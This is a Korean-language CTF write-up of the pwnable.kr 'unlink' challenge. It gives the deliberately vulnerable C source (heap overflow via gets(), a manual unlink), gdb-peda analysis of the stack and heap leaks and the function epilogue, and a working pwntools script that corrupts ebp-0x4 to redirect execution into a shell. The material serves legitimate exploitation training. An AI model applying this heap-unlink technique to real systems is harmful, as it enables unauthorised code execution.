pwnkr에서는 gdb-peda 사용을 생활화
$ gdb -q unlink
(gdb) source /usr/share/peda/peda.py
> ssh unlink@pwnable.kr -p2222 (pw: guest)
Analysis
코드 전체보기
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
OBJ 구조체의 크기는 32비트 환경이므로 fd 4바이트, bk 4바이트, char 8바이트이다.
ASLR로 인해 heap의 매핑주소는 매번 달라진다
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
코드 부분을 시각화하자면
이렇게 double linked list가 나타난다.
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
..
// exploit this unlink!
unlink(B);
..
}
B 구조체를 unlink할 경우 다음과 같다.
동적분석으로 확인해보자.
B는 메모리상 여전히 존재하지만, B로 향하는 pointer는 없기에 사실상 unlink된거나 마찬가지이다.
Exploit
1. unlink 과정에 우리는 A의 fd와 C의 bk를 조작할 수 있다.
// heap overflow!
gets(A->buf);
2. esp -> eip 조작으로 실행흐름 변경
esp 까지는 조작이 가능하다.
esp는 stack segment의 맨 꼭대기를 가르키는 포인터!
0x080485fa <+203>: mov eax,0x0
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>: leave
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret
PTR [ebp-0x4] -> ecx / [ecx-0x4] -> esp -> eip
esp를 조작하여 eip가 실행흐름을 바꾸게 해볼 것이다.
main+208부터 차근차근 확인해보면, ecx 레지스터에는 ebp-0x4의 값이 들어갑니다.
동적 분석시에도 같은 현상을 확인할 수 있습니다.
실제로 ecx-4에 저장된 값이 함수 종료 후 eip로 넘어가 이동하게 된다.
그러면 ebp-0x4는 어떻게 조작해요?
Eureka! B청크가 unlink되면서 ebp-0x4를 건든다는걸 잊고 있었다.
here is stack address leak: 0xfff4c024
here is heap address leak: 0x8eac410
gdb-peda$ x/4x $ebp-0x4
0xfff4c034: 0xfff4c050 0x00000000 0xf756b647 0xf7706000
gdb-peda$ p 0xfff4c034-0xfff4c024
$2 = 0x10
stack주소와 ebp-0x4 주소는 오프셋이 16바이트차이다.
참고로 여기서 노출된 heap 주소는 a의 fd 주소이다.
시각화를 하면 payload가 쉬워진다.
from pwn import *
s = ssh(user='unlink', host='pwnable.kr', port=2222, password='guest')
p = s.process("./unlink")
shell = 0x80484eb
p.recvuntil(b": ")
stack = int(p.recv(10), 16)
p.recvuntil(b": ")
heap = int(p.recv(10), 16)
print("stack ->", hex(stack))
print("heap ->", hex(heap))
payload = p32(shell)
payload += b"A"*12
payload += p32(heap + 12)
payload += p32(stack + 16) # ebp-4, 오프셋 16바이트 차이 기억!
p.sendline(payload)
p.interactive()
감사합니당
'Wargame > pwnable.kr' 카테고리의 다른 글
[Pwnable] horcruxes (0) | 2024.08.11 |
---|---|
[Pwnable] blukat (0) | 2024.06.20 |